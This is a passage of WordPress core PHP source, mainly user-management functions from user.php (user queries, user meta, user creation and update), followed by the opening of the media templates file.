apply_filters( 'found_users_query', 'SELECT FOUND_ROWS()' ) ); if ( !$this->results ) return; if ( 'all_with_meta' == $qv['fields'] ) { cache_users( $this->results ); $r = array(); foreach ( $this->results as $userid ) $r[ $userid ] = new WP_User( $userid, '', $qv['blog_id'] ); $this->results = $r; } elseif ( 'all' == $qv['fields'] ) { foreach ( $this->results as $key => $user ) { $this->results[ $key ] = new WP_User( $user ); } } } /** * Retrieve query variable. * * @since 3.5.0 * @access public * * @param string $query_var Query variable key. * @return mixed */ function get( $query_var ) { if ( isset( $this->query_vars[$query_var] ) ) return $this->query_vars[$query_var]; return null; } /** * Set query variable. * * @since 3.5.0 * @access public * * @param string $query_var Query variable key. * @param mixed $value Query variable value. */ function set( $query_var, $value ) { $this->query_vars[$query_var] = $value; } /* * Used internally to generate an SQL string for searching across multiple columns * * @access protected * @since 3.1.0 * * @param string $string * @param array $cols * @param bool $wild Whether to allow wildcard searches. Default is false for Network Admin, true for * single site. Single site allows leading and trailing wildcards, Network Admin only trailing. * @return string */ function get_search_sql( $string, $cols, $wild = false ) { $string = esc_sql( $string ); $searches = array(); $leading_wild = ( 'leading' == $wild || 'both' == $wild ) ? '%' : ''; $trailing_wild = ( 'trailing' == $wild || 'both' == $wild ) ? '%' : ''; foreach ( $cols as $col ) { if ( 'ID' == $col ) $searches[] = "$col = '$string'"; else $searches[] = "$col LIKE '$leading_wild" . like_escape($string) . "$trailing_wild'"; } return ' AND (' . implode(' OR ', $searches) . ')'; } /** * Return the list of users * * @since 3.1.0 * @access public * * @return array */ function get_results() { return $this->results; } /** * Return the total number of users for the current query * * @since 3.1.0 * @access public * * @return array */ function get_total() { return $this->total_users; } } /** * Retrieve list of users matching criteria. * * @since 3.1.0 * @uses $wpdb * @uses WP_User_Query See for default arguments and information. * * @param array $args Optional. * @return array List of users. */ function get_users( $args = array() ) { $args = wp_parse_args( $args ); $args['count_total'] = false; $user_search = new WP_User_Query($args); return (array) $user_search->get_results(); } /** * Get the blogs a user belongs to. * * @since 3.0.0 * * @param int $user_id User ID * @param bool $all Whether to retrieve all blogs, or only blogs that are not marked as deleted, archived, or spam. * @return array A list of the user's blogs. An empty array if the user doesn't exist or belongs to no blogs. */ function get_blogs_of_user( $user_id, $all = false ) { global $wpdb; $user_id = (int) $user_id; // Logged out users can't have blogs if ( empty( $user_id ) ) return array(); $keys = get_user_meta( $user_id ); if ( empty( $keys ) ) return array(); if ( ! is_multisite() ) { $blog_id = get_current_blog_id(); $blogs = array( $blog_id => new stdClass ); $blogs[ $blog_id ]->userblog_id = $blog_id; $blogs[ $blog_id ]->blogname = get_option('blogname'); $blogs[ $blog_id ]->domain = ''; $blogs[ $blog_id ]->path = ''; $blogs[ $blog_id ]->site_id = 1; $blogs[ $blog_id ]->siteurl = get_option('siteurl'); $blogs[ $blog_id ]->archived = 0; $blogs[ $blog_id ]->spam = 0; $blogs[ $blog_id ]->deleted = 0; return $blogs; } $blogs = array(); if ( isset( $keys[ $wpdb->base_prefix . 'capabilities' ] ) && defined( 'MULTISITE' ) ) { $blog = get_blog_details( 1 ); if ( $blog && isset( $blog->domain ) && ( $all || ( ! $blog->archived && ! $blog->spam && ! $blog->deleted ) ) ) { $blogs[ 1 ] = (object) array( 'userblog_id' => 1, 'blogname' => $blog->blogname, 'domain' => $blog->domain, 'path' => $blog->path, 'site_id' => $blog->site_id, 'siteurl' => $blog->siteurl, 'archived' => 0, 'spam' => 0, 'deleted' => 0 ); } unset( $keys[ $wpdb->base_prefix . 'capabilities' ] ); } $keys = array_keys( $keys ); foreach ( $keys as $key ) { if ( 'capabilities' !== substr( $key, -12 ) ) continue; if ( $wpdb->base_prefix && 0 !== strpos( $key, $wpdb->base_prefix ) ) continue; $blog_id = str_replace( array( $wpdb->base_prefix, '_capabilities' ), '', $key ); if ( ! is_numeric( $blog_id ) ) continue; $blog_id = (int) $blog_id; $blog = get_blog_details( $blog_id ); if ( $blog && isset( $blog->domain ) && ( $all || ( ! $blog->archived && ! $blog->spam && ! $blog->deleted ) ) ) { $blogs[ $blog_id ] = (object) array( 'userblog_id' => $blog_id, 'blogname' => $blog->blogname, 'domain' => $blog->domain, 'path' => $blog->path, 'site_id' => $blog->site_id, 'siteurl' => $blog->siteurl, 'archived' => 0, 'spam' => 0, 'deleted' => 0 ); } } return apply_filters( 'get_blogs_of_user', $blogs, $user_id, $all ); } /** * Find out whether a user is a member of a given blog. * * @since MU 1.1 * @uses get_blogs_of_user() * * @param int $user_id Optional. The unique ID of the user. Defaults to the current user. * @param int $blog_id Optional. ID of the blog to check. Defaults to the current site. * @return bool */ function is_user_member_of_blog( $user_id = 0, $blog_id = 0 ) { $user_id = (int) $user_id; $blog_id = (int) $blog_id; if ( empty( $user_id ) ) $user_id = get_current_user_id(); if ( empty( $blog_id ) ) $blog_id = get_current_blog_id(); $blogs = get_blogs_of_user( $user_id ); return array_key_exists( $blog_id, $blogs ); } /** * Add meta data field to a user. * * Post meta data is called "Custom Fields" on the Administration Screens. * * @since 3.0.0 * @uses add_metadata() * @link http://codex.wordpress.org/Function_Reference/add_user_meta * * @param int $user_id Post ID. * @param string $meta_key Metadata name. * @param mixed $meta_value Metadata value. * @param bool $unique Optional, default is false. Whether the same key should not be added. * @return bool False for failure. True for success. */ function add_user_meta($user_id, $meta_key, $meta_value, $unique = false) { return add_metadata('user', $user_id, $meta_key, $meta_value, $unique); } /** * Remove metadata matching criteria from a user. * * You can match based on the key, or key and value. Removing based on key and * value, will keep from removing duplicate metadata with the same key. It also * allows removing all metadata matching key, if needed. * * @since 3.0.0 * @uses delete_metadata() * @link http://codex.wordpress.org/Function_Reference/delete_user_meta * * @param int $user_id user ID * @param string $meta_key Metadata name. * @param mixed $meta_value Optional. Metadata value. * @return bool False for failure. True for success. */ function delete_user_meta($user_id, $meta_key, $meta_value = '') { return delete_metadata('user', $user_id, $meta_key, $meta_value); } /** * Retrieve user meta field for a user. * * @since 3.0.0 * @uses get_metadata() * @link http://codex.wordpress.org/Function_Reference/get_user_meta * * @param int $user_id Post ID. * @param string $key Optional. The meta key to retrieve. By default, returns data for all keys. * @param bool $single Whether to return a single value. * @return mixed Will be an array if $single is false. Will be value of meta data field if $single * is true. */ function get_user_meta($user_id, $key = '', $single = false) { return get_metadata('user', $user_id, $key, $single); } /** * Update user meta field based on user ID. * * Use the $prev_value parameter to differentiate between meta fields with the * same key and user ID. * * If the meta field for the user does not exist, it will be added. * * @since 3.0.0 * @uses update_metadata * @link http://codex.wordpress.org/Function_Reference/update_user_meta * * @param int $user_id Post ID. * @param string $meta_key Metadata key. * @param mixed $meta_value Metadata value. * @param mixed $prev_value Optional. Previous value to check before removing. * @return bool False on failure, true if success. */ function update_user_meta($user_id, $meta_key, $meta_value, $prev_value = '') { return update_metadata('user', $user_id, $meta_key, $meta_value, $prev_value); } /** * Count number of users who have each of the user roles. * * Assumes there are neither duplicated nor orphaned capabilities meta_values. * Assumes role names are unique phrases. Same assumption made by WP_User_Query::prepare_query() * Using $strategy = 'time' this is CPU-intensive and should handle around 10^7 users. * Using $strategy = 'memory' this is memory-intensive and should handle around 10^5 users, but see WP Bug #12257. * * @since 3.0.0 * @param string $strategy 'time' or 'memory' * @return array Includes a grand total and an array of counts indexed by role strings. */ function count_users($strategy = 'time') { global $wpdb, $wp_roles; // Initialize $id = get_current_blog_id(); $blog_prefix = $wpdb->get_blog_prefix($id); $result = array(); if ( 'time' == $strategy ) { global $wp_roles; if ( ! isset( $wp_roles ) ) $wp_roles = new WP_Roles(); $avail_roles = $wp_roles->get_names(); // Build a CPU-intensive query that will return concise information. $select_count = array(); foreach ( $avail_roles as $this_role => $name ) { $select_count[] = "COUNT(NULLIF(`meta_value` LIKE '%\"" . like_escape( $this_role ) . "\"%', false))"; } $select_count = implode(', ', $select_count); // Add the meta_value index to the selection list, then run the query. $row = $wpdb->get_row( "SELECT $select_count, COUNT(*) FROM $wpdb->usermeta WHERE meta_key = '{$blog_prefix}capabilities'", ARRAY_N ); // Run the previous loop again to associate results with role names. $col = 0; $role_counts = array(); foreach ( $avail_roles as $this_role => $name ) { $count = (int) $row[$col++]; if ($count > 0) { $role_counts[$this_role] = $count; } } // Get the meta_value index from the end of the result set. $total_users = (int) $row[$col]; $result['total_users'] = $total_users; $result['avail_roles'] =& $role_counts; } else { $avail_roles = array(); $users_of_blog = $wpdb->get_col( "SELECT meta_value FROM $wpdb->usermeta WHERE meta_key = '{$blog_prefix}capabilities'" ); foreach ( $users_of_blog as $caps_meta ) { $b_roles = maybe_unserialize($caps_meta); if ( ! is_array( $b_roles ) ) continue; foreach ( $b_roles as $b_role => $val ) { if ( isset($avail_roles[$b_role]) ) { $avail_roles[$b_role]++; } else { $avail_roles[$b_role] = 1; } } } $result['total_users'] = count( $users_of_blog ); $result['avail_roles'] =& $avail_roles; } return $result; } // // Private helper functions // /** * Set up global user vars. * * Used by wp_set_current_user() for back compat. Might be deprecated in the future. * * @since 2.0.4 * @global string $userdata User description. * @global string $user_login The user username for logging in * @global int $user_level The level of the user * @global int $user_ID The ID of the user * @global string $user_email The email address of the user * @global string $user_url The url in the user's profile * @global string $user_identity The display name of the user * * @param int $for_user_id Optional. User ID to set up global data. */ function setup_userdata($for_user_id = '') { global $user_login, $userdata, $user_level, $user_ID, $user_email, $user_url, $user_identity; if ( '' == $for_user_id ) $for_user_id = get_current_user_id(); $user = get_userdata( $for_user_id ); if ( ! $user ) { $user_ID = 0; $user_level = 0; $userdata = null; $user_login = $user_email = $user_url = $user_identity = ''; return; } $user_ID = (int) $user->ID; $user_level = (int) $user->user_level; $userdata = $user; $user_login = $user->user_login; $user_email = $user->user_email; $user_url = $user->user_url; $user_identity = $user->display_name; } /** * Create dropdown HTML content of users. * * The content can either be displayed, which it is by default or retrieved by * setting the 'echo' argument. The 'include' and 'exclude' arguments do not * need to be used; all users will be displayed in that case. Only one can be * used, either 'include' or 'exclude', but not both. * * The available arguments are as follows: * <ol> * <li>show_option_all - Text to show all and whether HTML option exists.</li> * <li>show_option_none - Text for show none and whether HTML option exists.</li> * <li>hide_if_only_one_author - Don't create the dropdown if there is only one user.</li> * <li>orderby - SQL order by clause for what order the users appear. Default is 'display_name'.</li> * <li>order - Default is 'ASC'. Can also be 'DESC'.</li> * <li>include - User IDs to include.</li> * <li>exclude - User IDs to exclude.</li> * <li>multi - Default is 'false'. Whether to skip the ID attribute on the 'select' element. A 'true' value is overridden when id argument is set.</li> * <li>show - Default is 'display_name'. User table column to display. If the selected item is empty then the user_login will be displayed in parentheses</li> * <li>echo - Default is '1'. Whether to display or retrieve content.</li> * <li>selected - Which User ID is selected.</li> * <li>include_selected - Always include the selected user ID in the dropdown. Default is false.</li> * <li>name - Default is 'user'. Name attribute of select element.</li> * <li>id - Default is the value of the 'name' parameter. ID attribute of select element.</li> * <li>class - Class attribute of select element.</li> * <li>blog_id - ID of blog (Multisite only). Defaults to ID of current blog.</li> * <li>who - Which users to query. Currently only 'authors' is supported. Default is all users.</li> * </ol> * * @since 2.3.0 * @uses $wpdb WordPress database object for queries * * @param string|array $args Optional. Override defaults. * @return string|null Null on display. String of HTML content on retrieve. */ function wp_dropdown_users( $args = '' ) { $defaults = array( 'show_option_all' => '', 'show_option_none' => '', 'hide_if_only_one_author' => '', 'orderby' => 'display_name', 'order' => 'ASC', 'include' => '', 'exclude' => '', 'multi' => 0, 'show' => 'display_name', 'echo' => 1, 'selected' => 0, 'name' => 'user', 'class' => '', 'id' => '', 'blog_id' => $GLOBALS['blog_id'], 'who' => '', 'include_selected' => false ); $defaults['selected'] = is_author() ? get_query_var( 'author' ) : 0; $r = wp_parse_args( $args, $defaults ); extract( $r, EXTR_SKIP ); $query_args = wp_array_slice_assoc( $r, array( 'blog_id', 'include', 'exclude', 'orderby', 'order', 'who' ) ); $query_args['fields'] = array( 'ID', $show ); $users = get_users( $query_args ); $output = ''; if ( !empty($users) && ( empty($hide_if_only_one_author) || count($users) > 1 ) ) { $name = esc_attr( $name ); if ( $multi && ! $id ) $id = ''; else $id = $id ? " id='" . esc_attr( $id ) . "'" : " id='$name'"; $output = "<select name='{$name}'{$id} class='$class'>\n"; if ( $show_option_all ) $output .= "\t<option value='0'>$show_option_all</option>\n"; if ( $show_option_none ) { $_selected = selected( -1, $selected, false ); $output .= "\t<option value='-1'$_selected>$show_option_none</option>\n"; } $found_selected = false; foreach ( (array) $users as $user ) { $user->ID = (int) $user->ID; $_selected = selected( $user->ID, $selected, false ); if ( $_selected ) $found_selected = true; $display = !empty($user->$show) ? $user->$show : '('. $user->user_login . ')'; $output .= "\t<option value='$user->ID'$_selected>" . esc_html($display) . "</option>\n"; } if ( $include_selected && ! $found_selected && ( $selected > 0 ) ) { $user = get_userdata( $selected ); $_selected = selected( $user->ID, $selected, false ); $display = !empty($user->$show) ? $user->$show : '('. $user->user_login . ')'; $output .= "\t<option value='$user->ID'$_selected>" . esc_html($display) . "</option>\n"; } $output .= "</select>"; } $output = apply_filters('wp_dropdown_users', $output); if ( $echo ) echo $output; return $output; } /** * Sanitize user field based on context. * * Possible context values are: 'raw', 'edit', 'db', 'display', 'attribute' and 'js'. The * 'display' context is used by default. 'attribute' and 'js' contexts are treated like 'display' * when calling filters. * * @since 2.3.0 * @uses apply_filters() Calls 'edit_$field' passing $value and $user_id if $context == 'edit'. * $field is prefixed with 'user_' if it isn't already. * @uses apply_filters() Calls 'pre_$field' passing $value if $context == 'db'. $field is prefixed with * 'user_' if it isn't already. * @uses apply_filters() Calls '$field' passing $value, $user_id and $context if $context == anything * other than 'raw', 'edit' and 'db'. $field is prefixed with 'user_' if it isn't already. * * @param string $field The user Object field name. * @param mixed $value The user Object value. * @param int $user_id user ID. * @param string $context How to sanitize user fields. Looks for 'raw', 'edit', 'db', 'display', * 'attribute' and 'js'. * @return mixed Sanitized value. */ function sanitize_user_field($field, $value, $user_id, $context) { $int_fields = array('ID'); if ( in_array($field, $int_fields) ) $value = (int) $value; if ( 'raw' == $context ) return $value; if ( !is_string($value) && !is_numeric($value) ) return $value; $prefixed = false !== strpos( $field, 'user_' ); if ( 'edit' == $context ) { if ( $prefixed ) { $value = apply_filters("edit_{$field}", $value, $user_id); } else { $value = apply_filters("edit_user_{$field}", $value, $user_id); } if ( 'description' == $field ) $value = esc_html( $value ); // textarea_escaped? else $value = esc_attr($value); } else if ( 'db' == $context ) { if ( $prefixed ) { $value = apply_filters("pre_{$field}", $value); } else { $value = apply_filters("pre_user_{$field}", $value); } } else { // Use display filters by default. if ( $prefixed ) $value = apply_filters($field, $value, $user_id, $context); else $value = apply_filters("user_{$field}", $value, $user_id, $context); } if ( 'user_url' == $field ) $value = esc_url($value); if ( 'attribute' == $context ) $value = esc_attr($value); else if ( 'js' == $context ) $value = esc_js($value); return $value; } /** * Update all user caches * * @since 3.0.0 * * @param object $user User object to be cached */ function update_user_caches($user) { wp_cache_add($user->ID, $user, 'users'); wp_cache_add($user->user_login, $user->ID, 'userlogins'); wp_cache_add($user->user_email, $user->ID, 'useremail'); wp_cache_add($user->user_nicename, $user->ID, 'userslugs'); } /** * Clean all user caches * * @since 3.0.0 * * @param WP_User|int $user User object or ID to be cleaned from the cache */ function clean_user_cache( $user ) { if ( is_numeric( $user ) ) $user = new WP_User( $user ); if ( ! $user->exists() ) return; wp_cache_delete( $user->ID, 'users' ); wp_cache_delete( $user->user_login, 'userlogins' ); wp_cache_delete( $user->user_email, 'useremail' ); wp_cache_delete( $user->user_nicename, 'userslugs' ); } /** * Checks whether the given username exists. * * @since 2.0.0 * * @param string $username Username. * @return null|int The user's ID on success, and null on failure. */ function username_exists( $username ) { if ( $user = get_user_by('login', $username ) ) { return $user->ID; } else { return null; } } /** * Checks whether the given email exists. * * @since 2.1.0 * @uses $wpdb * * @param string $email Email. * @return bool|int The user's ID on success, and false on failure. */ function email_exists( $email ) { if ( $user = get_user_by('email', $email) ) return $user->ID; return false; } /** * Checks whether an username is valid. * * @since 2.0.1 * @uses apply_filters() Calls 'validate_username' hook on $valid check and $username as parameters * * @param string $username Username. * @return bool Whether username given is valid */ function validate_username( $username ) { $sanitized = sanitize_user( $username, true ); $valid = ( $sanitized == $username ); return apply_filters( 'validate_username', $valid, $username ); } /** * Insert an user into the database. * * Can update a current user or insert a new user based on whether the user's ID * is present. * * Can be used to update the user's info (see below), set the user's role, and * set the user's preference on whether they want the rich editor on. * * Most of the $userdata array fields have filters associated with the values. * The exceptions are 'rich_editing', 'role', 'jabber', 'aim', 'yim', * 'user_registered', and 'ID'. The filters have the prefix 'pre_user_' followed * by the field name. An example using 'description' would have the filter * called, 'pre_user_description' that can be hooked into. * * The $userdata array can contain the following fields: * 'ID' - An integer that will be used for updating an existing user. * 'user_pass' - A string that contains the plain text password for the user. * 'user_login' - A string that contains the user's username for logging in. * 'user_nicename' - A string that contains a URL-friendly name for the user. * The default is the user's username. * 'user_url' - A string containing the user's URL for the user's web site. * 'user_email' - A string containing the user's email address. * 'display_name' - A string that will be shown on the site. Defaults to user's * username. It is likely that you will want to change this, for appearance. * 'nickname' - The user's nickname, defaults to the user's username. * 'first_name' - The user's first name. * 'last_name' - The user's last name. * 'description' - A string containing content about the user. * 'rich_editing' - A string for whether to enable the rich editor. False * if not empty. * 'user_registered' - The date the user registered. Format is 'Y-m-d H:i:s'. * 'role' - A string used to set the user's role. * 'jabber' - User's Jabber account. * 'aim' - User's AOL IM account. * 'yim' - User's Yahoo IM account. * * @since 2.0.0 * @uses $wpdb WordPress database layer. * @uses apply_filters() Calls filters for most of the $userdata fields with the prefix 'pre_user'. See note above. * @uses do_action() Calls 'profile_update' hook when updating giving the user's ID * @uses do_action() Calls 'user_register' hook when creating a new user giving the user's ID * * @param mixed $userdata An array of user data or a user object of type stdClass or WP_User. * @return int|WP_Error The newly created user's ID or a WP_Error object if the user could not be created. */ function wp_insert_user( $userdata ) { global $wpdb; if ( is_a( $userdata, 'stdClass' ) ) $userdata = get_object_vars( $userdata ); elseif ( is_a( $userdata, 'WP_User' ) ) $userdata = $userdata->to_array(); extract( $userdata, EXTR_SKIP ); // Are we updating or creating? if ( !empty($ID) ) { $ID = (int) $ID; $update = true; $old_user_data = WP_User::get_data_by( 'id', $ID ); } else { $update = false; // Hash the password $user_pass = wp_hash_password($user_pass); } $user_login = sanitize_user($user_login, true); $user_login = apply_filters('pre_user_login', $user_login); //Remove any non-printable chars from the login string to see if we have ended up with an empty username $user_login = trim($user_login); if ( empty($user_login) ) return new WP_Error('empty_user_login', __('Cannot create a user with an empty login name.') ); if ( !$update && username_exists( $user_login ) ) return new WP_Error( 'existing_user_login', __( 'Sorry, that username already exists!' ) ); if ( empty($user_nicename) ) $user_nicename = sanitize_title( $user_login ); $user_nicename = apply_filters('pre_user_nicename', $user_nicename); if ( empty($user_url) ) $user_url = ''; $user_url = apply_filters('pre_user_url', $user_url); if ( empty($user_email) ) $user_email = ''; $user_email = apply_filters('pre_user_email', $user_email); if ( !$update && ! defined( 'WP_IMPORTING' ) && email_exists($user_email) ) return new WP_Error( 'existing_user_email', __( 'Sorry, that email address is already used!' ) ); if ( empty($nickname) ) $nickname = $user_login; $nickname = apply_filters('pre_user_nickname', $nickname); if ( empty($first_name) ) $first_name = ''; $first_name = apply_filters('pre_user_first_name', $first_name); if ( empty($last_name) ) $last_name = ''; $last_name = apply_filters('pre_user_last_name', $last_name); if ( empty( $display_name ) ) { if ( $update ) $display_name = $user_login; elseif ( $first_name && $last_name ) /* translators: 1: first name, 2: last name */ $display_name = sprintf( _x( '%1$s %2$s', 'Display name based on first name and last name' ), $first_name, $last_name ); elseif ( $first_name ) $display_name = $first_name; elseif ( $last_name ) $display_name = $last_name; else $display_name = $user_login; } $display_name = apply_filters( 'pre_user_display_name', $display_name ); if ( empty($description) ) $description = ''; $description = apply_filters('pre_user_description', $description); if ( empty($rich_editing) ) $rich_editing = 'true'; if ( empty($comment_shortcuts) ) $comment_shortcuts = 'false'; if ( empty($admin_color) ) $admin_color = 'fresh'; $admin_color = preg_replace('|[^a-z0-9 _.\-@]|i', '', $admin_color); if ( empty($use_ssl) ) $use_ssl = 0; if ( empty($user_registered) ) $user_registered = gmdate('Y-m-d H:i:s'); if ( empty($show_admin_bar_front) ) $show_admin_bar_front = 'true'; $user_nicename_check = $wpdb->get_var( $wpdb->prepare("SELECT ID FROM $wpdb->users WHERE user_nicename = %s AND user_login != %s LIMIT 1" , $user_nicename, $user_login)); if ( $user_nicename_check ) { $suffix = 2; while ($user_nicename_check) { $alt_user_nicename = $user_nicename . "-$suffix"; $user_nicename_check = $wpdb->get_var( $wpdb->prepare("SELECT ID FROM $wpdb->users WHERE user_nicename = %s AND user_login != %s LIMIT 1" , $alt_user_nicename, $user_login)); $suffix++; } $user_nicename = $alt_user_nicename; } $data = compact( 'user_pass', 'user_email', 'user_url', 'user_nicename', 'display_name', 'user_registered' ); $data = stripslashes_deep( $data ); if ( $update ) { $wpdb->update( $wpdb->users, $data, compact( 'ID' ) ); $user_id = (int) $ID; } else { $wpdb->insert( $wpdb->users, $data + compact( 'user_login' ) ); $user_id = (int) $wpdb->insert_id; } $user = new WP_User( $user_id ); foreach ( _get_additional_user_keys( $user ) as $key ) { if ( isset( $$key ) ) update_user_meta( $user_id, $key, $$key ); } if ( isset($role) ) $user->set_role($role); elseif ( !$update ) $user->set_role(get_option('default_role')); wp_cache_delete($user_id, 'users'); wp_cache_delete($user_login, 'userlogins'); if ( $update ) do_action('profile_update', $user_id, $old_user_data); else do_action('user_register', $user_id); return $user_id; } /** * Update an user in the database. * * It is possible to update a user's password by specifying the 'user_pass' * value in the $userdata parameter array. * * If $userdata does not contain an 'ID' key, then a new user will be created * and the new user's ID will be returned. * * If current user's password is being updated, then the cookies will be * cleared. * * @since 2.0.0 * @see wp_insert_user() For what fields can be set in $userdata * @uses wp_insert_user() Used to update existing user or add new one if user doesn't exist already * * @param mixed $userdata An array of user data or a user object of type stdClass or WP_User. * @return int|WP_Error The updated user's ID or a WP_Error object if the user could not be updated. */ function wp_update_user($userdata) { if ( is_a( $userdata, 'stdClass' ) ) $userdata = get_object_vars( $userdata ); elseif ( is_a( $userdata, 'WP_User' ) ) $userdata = $userdata->to_array(); $ID = (int) $userdata['ID']; // First, get all of the original fields $user_obj = get_userdata( $ID ); $user = $user_obj->to_array(); // Add additional custom fields foreach ( _get_additional_user_keys( $user_obj ) as $key ) { $user[ $key ] = get_user_meta( $ID, $key, true ); } // Escape data pulled from DB. $user = add_magic_quotes( $user ); // If password is changing, hash it now. if ( ! empty($userdata['user_pass']) ) { $plaintext_pass = $userdata['user_pass']; $userdata['user_pass'] = wp_hash_password($userdata['user_pass']); } wp_cache_delete($user[ 'user_email' ], 'useremail'); // Merge old and new fields with new fields overwriting old ones. $userdata = array_merge($user, $userdata); $user_id = wp_insert_user($userdata); // Update the cookies if the password changed. $current_user = wp_get_current_user(); if ( $current_user->ID == $ID ) { if ( isset($plaintext_pass) ) { wp_clear_auth_cookie(); wp_set_auth_cookie($ID); } } return $user_id; } /** * A simpler way of inserting an user into the database. * * Creates a new user with just the username, password, and email. For more * complex user creation use wp_insert_user() to specify more information. * * @since 2.0.0 * @see wp_insert_user() More complete way to create a new user * * @param string $username The user's username. * @param string $password The user's password. * @param string $email The user's email (optional). * @return int The new user's ID. */ function wp_create_user($username, $password, $email = '') { $user_login = esc_sql( $username ); $user_email = esc_sql( $email ); $user_pass = $password; $userdata = compact('user_login', 'user_email', 'user_pass'); return wp_insert_user($userdata); } /** * Return a list of meta keys that wp_insert_user() is supposed to set. * * @since 3.3.0 * @access private * * @param object $user WP_User instance. * @return array */ function _get_additional_user_keys( $user ) { $keys = array( 'first_name', 'last_name', 'nickname', 'description', 'rich_editing', 'comment_shortcuts', 'admin_color', 'use_ssl', 'show_admin_bar_front' ); return array_merge( $keys, array_keys( _wp_get_user_contactmethods( $user ) ) ); } /** * Set up the default contact methods. * * @since 2.9.0 * @access private * * @param object $user User data object (optional). * @return array $user_contactmethods Array of contact methods and their labels. */ function _wp_get_user_contactmethods( $user = null ) { $user_contactmethods = array( 'aim' => __('AIM'), 'yim' => __('Yahoo IM'), 'jabber' => __('Jabber / Google Talk') ); return apply_filters( 'user_contactmethods', $user_contactmethods, $user ); }
zyblog
trunk/zyblog/wp-includes/user.php
PHP
asf20
47,537
<?php /** * WordPress media templates. * * @package WordPress * @subpackage Media * @since 3.5.0 */ /** * Prints the templates used in the media manager. * * @since 3.5.0 */ function wp_print_media_templates() { global $is_IE; $class = 'media-modal wp-core-ui'; if ( $is_IE && strpos($_SERVER['HTTP_USER_AGENT'], 'MSIE 7') !== false ) $class .= ' ie7'; ?> <script type="text/html" id="tmpl-media-frame"> <div class="media-frame-menu"></div> <div class="media-frame-title"></div> <div class="media-frame-router"></div> <div class="media-frame-content"></div> <div class="media-frame-toolbar"></div> <div class="media-frame-uploader"></div> </script> <script type="text/html" id="tmpl-media-modal"> <div class="<?php echo $class; ?>"> <a class="media-modal-close" href="#" title="<?php esc_attr_e('Close'); ?>"><span class="media-modal-icon"></span></a> <div class="media-modal-content"></div> </div> <div class="media-modal-backdrop"></div> </script> <script type="text/html" id="tmpl-uploader-window"> <div class="uploader-window-content"> <h3><?php _e( 'Drop files to upload' ); ?></h3> </div> </script> <script type="text/html" id="tmpl-uploader-inline"> <# var messageClass = data.message ? 'has-upload-message' : 'no-upload-message'; #> <div class="uploader-inline-content {{ messageClass }}"> <# if ( data.message ) { #> <h3 class="upload-message">{{ data.message }}</h3> <# } #> <?php if ( ! _device_can_upload() ) : ?> <h3 class="upload-instructions"><?php _e('The web browser on your device cannot be used to upload files. You may be able to use the <a href="http://wordpress.org/extend/mobile/">native app for your device</a> instead.'); ?></h3> <?php elseif ( is_multisite() && ! is_upload_space_available() ) : ?> <h3 class="upload-instructions"><?php _e( 'Upload Limit Exceeded' ); ?></h3> <?php do_action( 'upload_ui_over_quota' ); ?> <?php else : ?> <div class="upload-ui"> <h3 class="upload-instructions drop-instructions"><?php _e( 'Drop files anywhere to upload' ); ?></h3> <a href="#" class="browser button button-hero"><?php _e( 'Select Files' ); ?></a> </div> <div class="upload-inline-status"></div> <div class="post-upload-ui"> <?php do_action( 'pre-upload-ui' ); do_action( 'pre-plupload-upload-ui' ); if ( 10 === remove_action( 'post-plupload-upload-ui', 'media_upload_flash_bypass' ) ) { do_action( 'post-plupload-upload-ui' ); add_action( 'post-plupload-upload-ui', 'media_upload_flash_bypass' ); } else { do_action( 'post-plupload-upload-ui' ); } $upload_size_unit = $max_upload_size = wp_max_upload_size(); $byte_sizes = array( 'KB', 'MB', 'GB' ); for ( $u = -1; $upload_size_unit > 1024 && $u < count( $byte_sizes ) - 1; $u++ ) { $upload_size_unit /= 1024; } if ( $u < 0 ) { $upload_size_unit = 0; $u = 0; } else { $upload_size_unit = (int) $upload_size_unit; } ?> <p class="max-upload-size"><?php printf( __( 'Maximum upload file size: %d%s.' ), esc_html($upload_size_unit), esc_html($byte_sizes[$u]) ); ?></p> <?php if ( ( $GLOBALS['is_IE'] || $GLOBALS['is_opera']) && $max_upload_size > 100 * 1024 * 1024 ) : $browser_uploader = admin_url( 'media-new.php?browser-uploader&post_id=' ) . '{{ data.postId }}'; ?> <p class="big-file-warning"><?php printf( __( 'Your browser has some limitations uploading large files with the multi-file uploader. Please use the <a href="%1$s" target="%2$s">browser uploader</a> for files over 100MB.' ), $browser_uploader, '_blank' ); ?></p> <?php endif; ?> <?php do_action( 'post-upload-ui' ); ?> </div> <?php endif; ?> </div> </script> <script type="text/html" id="tmpl-uploader-status"> <h3><?php _e( 'Uploading' ); ?></h3> <a class="upload-dismiss-errors" href="#"><?php _e('Dismiss Errors'); ?></a> <div class="media-progress-bar"><div></div></div> <div class="upload-details"> <span class="upload-count"> <span class="upload-index"></span> / <span class="upload-total"></span> </span> <span class="upload-detail-separator">&ndash;</span> <span class="upload-filename"></span> </div> <div class="upload-errors"></div> </script> <script type="text/html" id="tmpl-uploader-status-error"> <span class="upload-error-label"><?php _e('Error'); ?></span> <span class="upload-error-filename">{{{ data.filename }}}</span> <span class="upload-error-message">{{ data.message }}</span> </script> <script type="text/html" id="tmpl-attachment"> <div class="attachment-preview type-{{ data.type }} subtype-{{ data.subtype }} {{ data.orientation }}"> <# if ( data.uploading ) { #> <div class="media-progress-bar"><div></div></div> <# } else if ( 'image' === data.type ) { #> <div class="thumbnail"> <div class="centered"> <img src="{{ data.size.url }}" draggable="false" /> </div> </div> <# } else { #> <img src="{{ data.icon }}" class="icon" draggable="false" /> <div class="filename"> <div>{{ data.filename }}</div> </div> <# } #> <# if ( data.buttons.close ) { #> <a class="close media-modal-icon" href="#" title="<?php _e('Remove'); ?>"></a> <# } #> <# if ( data.buttons.check ) { #> <a class="check" href="#" title="<?php _e('Deselect'); ?>"><div class="media-modal-icon"></div></a> <# } #> </div> <# var maybeReadOnly = data.can.save || data.allowLocalEdits ? '' : 'readonly'; if ( data.describe ) { #> <# if ( 'image' === data.type ) { #> <input type="text" value="{{ data.caption }}" class="describe" data-setting="caption" placeholder="<?php esc_attr_e('Caption this image&hellip;'); ?>" {{ maybeReadOnly }} /> <# } else { #> <input type="text" value="{{ data.title }}" class="describe" data-setting="title" <# if ( 'video' === data.type ) { #> placeholder="<?php esc_attr_e('Describe this video&hellip;'); ?>" <# } else if ( 'audio' === data.type ) { #> placeholder="<?php esc_attr_e('Describe this audio file&hellip;'); ?>" <# } else { #> placeholder="<?php esc_attr_e('Describe this media file&hellip;'); ?>" <# } #> {{ maybeReadOnly }} /> <# } #> <# } #> </script> <script type="text/html" id="tmpl-attachment-details"> <h3> <?php _e('Attachment Details'); ?> <span class="settings-save-status"> <span class="spinner"></span> <span class="saved"><?php esc_html_e('Saved.'); ?></span> 